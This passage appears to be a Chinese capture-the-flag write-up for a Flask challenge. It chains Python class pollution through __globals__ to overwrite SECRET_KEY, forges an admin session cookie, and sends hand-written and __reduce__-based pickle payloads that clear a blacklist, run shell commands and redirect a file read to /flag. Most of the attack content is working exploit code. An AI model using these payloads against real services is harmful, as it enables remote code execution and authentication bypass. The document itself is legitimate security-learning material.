整理一下链路，就是由能够直接 getshell 的 pickle 入口推到触发 pickle 的方法其中第一是绕过黑名单，第二是修改密钥值从而有方法更改 session。

绕过黑名单，修改密钥值又需要经过第二条链路原型链污染，或者说变量覆盖，一是覆盖黑名单，将其置空，二是用新的密钥覆盖原有的密钥

1
getshell<-pickle入口<-解决黑名单绕过和修改session<-利用变量覆盖

思维上是倒推的，但实际实现中我们需/要正向触发利用链，先触发变量覆盖

注意到函数是个 safe_merge，safe 在哪?用不了 conf，而我们的目的是访问对象 app 和类 config，从而修改他们的成员，app 的是 key，config 的是黑名单，所以黑名单我们暂时不可以置空

那先看 app 吧，怎么去访问 app?可以参考法一，它作为类之一位于全局变量之中，所以利用这样的方式，就能将密钥改为 secret

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "__class__" : {
        "__init__" : {
            "__globals__" : {
                    "app": {
                        "config": {
                            "SECRET_KEY":"secret"
                        }
                    }
            }
        }
    }
}

然后我们再刷新网页重新生成 cookie，用 Linux 环境进行解码 session 再编码

1
python3 test.py decode -c 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ac_h9Q.ouYwD29g9GAEfhpv9TYBbA7mbtE' -s 'secret'

1
python3 test.py encode -s 'secret'  -t "{'username': 'admin'}"

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.ac_iTA.a5ChjWVnJZI3QePKEoMJ45veNE4

一切顺利，我们拿到了 pickle 反序列化的权限，接着还有个黑名单要置空，我们得利用 pickle 反序列化，来接触 conf 对象，可以使用手写 opcode 将黑名单置空

1
2
3
4
5
6
7
8
9
import pickle
import requests
import base64
import pickletools

opcode=b"capp\nconf\np0\n0g0\n(}(S'BlackList'\n(ldtb."
data = base64.b64encode(opcode)

print(data)

传 data 进行反序列化，接着使用 os 模块执行命令即可

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import requests
import base64
import pickletools

opcode = b'''(cos
system
S'ls / > /app/static/fake_flag.txt'
o.'''
data = base64.b64encode(opcode)

print(data)

法三 不清空黑名单的方法

Pickle 反序列化，你说能不能不清空黑名单，其实是可能的，我们的黑名单是啥?

1
self.BlackList=[b'\x00', b'\x1e',b'os',b'builtins']

直接 subprocess 链路，应该完全没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        # 返回 (callable, args)
        # callable = subprocess.getoutput (执行命令并返回输出)
        # args = ('env',) (要执行的命令是 'env')
        return (subprocess.getoutput, ('mkdir static; cat /fl* > ./static/out.txt',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式（方便查看和传输）
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输（HTTP、JSON等）
print(base64.b64encode(payload).decode())
#print(payload)

得到结果

1
Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgY2F0IC9mbCogPiAuL3N0YXRpYy9vdXQudHh0CnAxCnRwMgpScDMKLg==

然后访问

是不是完全没问题

其二你是不是可以直接改/src 读的东西

1
2
def src():
    return open(conf.file,encoding='utf-8').read()

conf 是 merge 禁的，pickle 又没禁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import subprocess
import sys

class Exploit:
    def __reduce__(self):
        return (exec, ("conf.file = '/flag'",))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式（方便查看和传输）
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输（HTTP、JSON等）
print(base64.b64encode(payload).decode())
print(payload)

或者你手写

1
2
3
4
import pickle
import base64
opcode=b"capp\nconf\np0\n0g0\n(}(S'file'\nS'/flag'\ndtb."
print(base64.b64encode(opcode))

得到

1
Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZjb25mLmZsaWUgPSAnL2ZsYWcnCnAxCnRwMgpScDMKLg==

发送 pickle，访问/src

需要注意的是程序的启动方式不同，用 app 和__main__的选择也不同

**当使用 python3 app.py 启动时：**Python 解释器会将 app.py 标记为__main__模块。

因此，pickle 在寻找 c__main__\nconf 时能直接在当前模块找到 conf 实例

**当使用 flask run 启动时：**主程序实际上是/usr/local/bin/flask，此时 app.py 被 Flask 作为一个模块加载，它的名字不再是__main__，而是 app（取决于文件名）

因此 opcode 中应该是 capp，而不是 c__main__

本章结束**🎆**